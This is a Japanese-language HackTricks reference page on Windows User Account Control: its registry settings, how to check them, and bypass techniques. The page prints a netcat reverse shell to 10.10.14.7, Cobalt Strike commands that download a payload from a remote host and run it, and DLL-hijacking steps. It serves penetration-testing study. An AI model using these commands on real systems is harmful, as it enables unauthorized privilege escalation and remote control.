UAC - ユーザーアカウント制御

Reading time: 21 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

UAC

ユーザーアカウント制御 (UAC) は、昇格された活動のための同意プロンプトを有効にする機能です。アプリケーションには異なる integrity レベルがあり、高いレベルのプログラムは、システムを危険にさらす可能性のあるタスクを実行できます。UACが有効になっている場合、アプリケーションやタスクは常に非管理者アカウントのセキュリティコンテキストの下で実行され、管理者が明示的にこれらのアプリケーション/タスクにシステムへの管理者レベルのアクセスを許可しない限り、実行されません。これは、管理者が意図しない変更から保護される便利な機能ですが、セキュリティ境界とは見なされません。

インテグリティレベルに関する詳細情報は以下を参照してください:

Integrity Levels

UACが有効な場合、管理者ユーザーには2つのトークンが与えられます:通常のアクションを通常レベルで実行するための標準ユーザーキーと、管理者権限を持つものです。

このページでは、UACの動作について詳細に説明しており、ログオンプロセス、ユーザーエクスペリエンス、UACアーキテクチャが含まれています。管理者は、セキュリティポリシーを使用して、ローカルレベルで自組織に特有のUACの動作を構成することができ(secpol.mscを使用)、またはActive Directoryドメイン環境でグループポリシーオブジェクト(GPO)を介して構成して展開することができます。さまざまな設定については、こちらで詳しく説明されています。UACに設定できるグループポリシー設定は10個あります。以下の表は追加の詳細を提供します:

グループポリシー設定レジストリキーデフォルト設定
ユーザーアカウント制御:組み込みの管理者アカウントの管理者承認モードFilterAdministratorToken無効
ユーザーアカウント制御:UIAccessアプリケーションがセキュアデスクトップを使用せずに昇格を要求できるようにするEnableUIADesktopToggle無効
ユーザーアカウント制御:管理者の管理者承認モードにおける昇格プロンプトの動作ConsentPromptBehaviorAdmin非Windowsバイナリに対して同意を求めるプロンプト
ユーザーアカウント制御:標準ユーザーの昇格プロンプトの動作ConsentPromptBehaviorUserセキュアデスクトップでの資格情報を求めるプロンプト
ユーザーアカウント制御:アプリケーションのインストールを検出し、昇格を要求するEnableInstallerDetection有効(ホームのデフォルト)無効(エンタープライズのデフォルト)
ユーザーアカウント制御:署名され、検証された実行可能ファイルのみを昇格させるValidateAdminCodeSignatures無効
ユーザーアカウント制御:セキュアな場所にインストールされたUIAccessアプリケーションのみを昇格させるEnableSecureUIAPaths有効
ユーザーアカウント制御:すべての管理者を管理者承認モードで実行するEnableLUA有効
ユーザーアカウント制御:昇格を要求する際にセキュアデスクトップに切り替えるPromptOnSecureDesktop有効
ユーザーアカウント制御:ファイルおよびレジストリの書き込み失敗をユーザーごとの場所に仮想化するEnableVirtualization有効

UACバイパス理論

一部のプログラムは、ユーザーが 管理者グループに属している場合自動的に昇格されます。これらのバイナリは、Manifests 内に autoElevate オプションを True の値で持っています。バイナリはMicrosoftによって署名されている必要があります

多くの自動昇格プロセスは、COMオブジェクトやRPCサーバーを介して機能を公開しており、これは中程度のインテグリティ(通常のユーザーレベルの権限)で実行されているプロセスから呼び出すことができます。COM(コンポーネントオブジェクトモデル)とRPC(リモートプロシージャコール)は、Windowsプログラムが異なるプロセス間で通信し、関数を実行するために使用する方法です。例えば、**IFileOperation COMオブジェクト**はファイル操作(コピー、削除、移動)を処理するために設計されており、プロンプトなしで自動的に権限を昇格させることができます。

一部のチェックが行われる場合があります。例えば、プロセスがSystem32ディレクトリから実行されたかどうかを確認することですが、これはexplorer.exeや他のSystem32にある実行可能ファイルに注入することでバイパスできます。

これらのチェックをバイパスする別の方法は、PEBを変更することです。Windowsのすべてのプロセスにはプロセス環境ブロック(PEB)があり、プロセスに関する重要なデータ(実行可能ファイルのパスなど)が含まれています。PEBを変更することで、攻撃者は自分の悪意のあるプロセスの場所を偽装(スプーフィング)し、信頼されたディレクトリ(例えばsystem32)から実行されているように見せることができます。このスプーフィングされた情報は、COMオブジェクトを騙してプロンプトなしで権限を自動的に昇格させます。

次に、UACをバイパス中程度のインテグリティレベルから高いに昇格)するために、一部の攻撃者はこの種のバイナリを使用して任意のコードを実行します。なぜなら、それは高いレベルのインテグリティプロセスから実行されるからです。

バイナリの_Manifestを確認するには、Sysinternalsのツールsigcheck.exe_を使用します。(sigcheck.exe -m <file>) また、_Process Explorer_や_SysinternalsのProcess Monitor_を使用してプロセスのインテグリティレベルを確認できます。

UACの確認

UACが有効かどうかを確認するには、次のようにします:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA    REG_DWORD    0x1

もしそれが**1であれば、UACは有効です。もし0であるか、存在しない場合、UACは無効**です。

次に、どのレベルが設定されているかを確認します:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin    REG_DWORD    0x5
  • 0 の場合、UACはプロンプトを表示しません(無効のように)
  • 1 の場合、管理者はバイナリを高い権限で実行するためにユーザー名とパスワードを求められます(セキュアデスクトップ上で)
  • 2 の場合(常に通知)、UACは管理者が高い権限で何かを実行しようとするたびに常に確認を求めます(セキュアデスクトップ上で)
  • 3 の場合、1のようですが、セキュアデスクトップ上で必要ではありません
  • 4 の場合、2のようですが、セキュアデスクトップ上で必要ではありません
  • 5 の場合(デフォルト)、非Windowsバイナリを高い権限で実行するために管理者に確認を求めます

次に、LocalAccountTokenFilterPolicy の値を確認する必要があります。
値が**0の場合、RID 500 ユーザー(ビルトイン管理者)のみがUACなしで管理タスクを実行できます。1の場合、「Administrators」** グループ内のすべてのアカウントがそれを実行できます。

最後に、キー FilterAdministratorToken の値を確認してください。
0(デフォルト)の場合、ビルトイン管理者アカウントはリモート管理タスクを実行できます。1の場合、ビルトイン管理者アカウントはリモート管理タスクを実行できませんが、LocalAccountTokenFilterPolicy1 に設定されている場合を除きます。

概要

  • EnableLUA=0 または 存在しない場合、誰に対してもUACなし
  • EnableLua=1 かつ LocalAccountTokenFilterPolicy=1 の場合、誰に対してもUACなし
  • EnableLua=1 かつ LocalAccountTokenFilterPolicy=0 かつ FilterAdministratorToken=0 の場合、RID 500(ビルトイン管理者)に対してUACなし
  • EnableLua=1 かつ LocalAccountTokenFilterPolicy=0 かつ FilterAdministratorToken=1 の場合、全員に対してUACあり

このすべての情報は、metasploit モジュール post/windows/gather/win_privs を使用して収集できます。

ユーザーのグループを確認し、整合性レベルを取得することもできます。

net user %username%
whoami /groups | findstr Level

UACバイパス

tip

被害者にグラフィカルアクセスがある場合、UACバイパスは簡単で、UACプロンプトが表示されたときに「はい」をクリックするだけです。

UACバイパスは以下の状況で必要です: UACが有効で、プロセスが中程度の整合性コンテキストで実行されており、ユーザーが管理者グループに属している場合

UACが最高のセキュリティレベル(常に)に設定されている場合、他のレベル(デフォルト)の場合よりもUACをバイパスするのははるかに難しいことを言及することが重要です。

UAC無効

UACがすでに無効になっている場合(ConsentPromptBehaviorAdminが**0**)、管理者権限でリバースシェルを実行することができます(高整合性レベル)次のようなものを使用して:

bash
#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"

UACバイパスとトークン複製

非常に 基本的なUAC "バイパス"(フルファイルシステムアクセス)

管理者グループに属するユーザーのシェルがある場合、C$ 共有をSMB(ファイルシステム)経由で新しいディスクにマウントすることで、ファイルシステム内のすべてにアクセスできます(管理者のホームフォルダも含む)。

warning

このトリックはもう機能していないようです

bash
net use Z: \\127.0.0.1\c$
cd C$

#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop

UACバイパスとCobalt Strike

Cobalt Strikeの技術は、UACが最大のセキュリティレベルに設定されていない場合にのみ機能します。

bash
# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]

# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"

EmpireMetasploit には、UACバイパス するためのいくつかのモジュールがあります。

KRBUACBypass

ドキュメントとツールは https://github.com/wh0amitz/KRBUACBypass にあります。

UAC バイパスエクスプロイト

UACME は、いくつかの UAC バイパスエクスプロイトの コンパイル です。UACME を Visual Studio または msbuild を使用してコンパイルする必要があることに注意してください。コンパイルにより、いくつかの実行可能ファイル(例えば Source\Akagi\outout\x64\Debug\Akagi.exe)が作成されます。どれが必要かを知っておく必要があります。
注意が必要です。なぜなら、いくつかのバイパスは 他のプログラムを促す ことがあり、ユーザー に何かが起こっていることを 警告 します。

UACME には、各技術が動作し始めた ビルドバージョン があります。あなたのバージョンに影響を与える技術を検索できます:

PS C:\> [environment]::OSVersion.Version

Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      14393  0

Also, using this page you get the Windows release 1607 from the build versions.

さらなるUACバイパス

ここで使用されるすべての技術は、完全なインタラクティブシェルを被害者と持つことを必要とします(一般的なnc.exeシェルでは不十分です)。

meterpreterセッションを使用して取得できます。Session値が1に等しいプロセスに移行します:

(explorer.exe は動作するはずです)

GUIを使用したUACバイパス

GUIにアクセスできる場合、UACプロンプトが表示されたときにそれを受け入れるだけで済みます。実際にはバイパスは必要ありません。したがって、GUIにアクセスすることでUACをバイパスできます。

さらに、誰かが使用していたGUIセッション(おそらくRDP経由)を取得した場合、管理者として実行されるいくつかのツールがあり、そこから管理者として直接cmd実行できる可能性があります。再度UACによるプロンプトなしで、https://github.com/oski02/UAC-GUI-Bypass-appverifのように。これは少しステルスになるかもしれません。

騒がしいブルートフォースUACバイパス

騒がしいことを気にしないのであれば、常に**https://github.com/Chainski/ForceAdminのようなものを実行**して、ユーザーが受け入れるまで権限を昇格するように要求することができます

自分自身のバイパス - 基本的なUACバイパス手法

UACMEを見てみると、ほとんどのUACバイパスはDll Hijackingの脆弱性を悪用していることに気付くでしょう(主に悪意のあるdllを_C:\Windows\System32_に書き込むこと)。Dll Hijackingの脆弱性を見つける方法を学ぶにはこれを読んでください

  1. 自動昇格するバイナリを見つけます(実行時に高い整合性レベルで実行されることを確認します)。
  2. procmonを使用して、DLL Hijackingに脆弱な"NAME NOT FOUND"イベントを見つけます。
  3. おそらく、書き込み権限がないいくつかの保護されたパス(C:\Windows\System32など)内にDLLを書き込む必要があります。これを回避するには、次の方法を使用できます:
    1. wusa.exe:Windows 7、8、8.1。保護されたパス内にCABファイルの内容を抽出することを許可します(このツールは高い整合性レベルから実行されるため)。
    2. IFileOperation:Windows 10。
  4. 保護されたパス内にDLLをコピーし、脆弱で自動昇格されたバイナリを実行するためのスクリプトを準備します。

別のUACバイパス技術

autoElevatedバイナリ実行されるためのバイナリまたはコマンド名前/パスレジストリから読み取ろうとするのを監視することに基づいています(これは、バイナリがHKCU内でこの情報を検索する場合により興味深いです)。

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする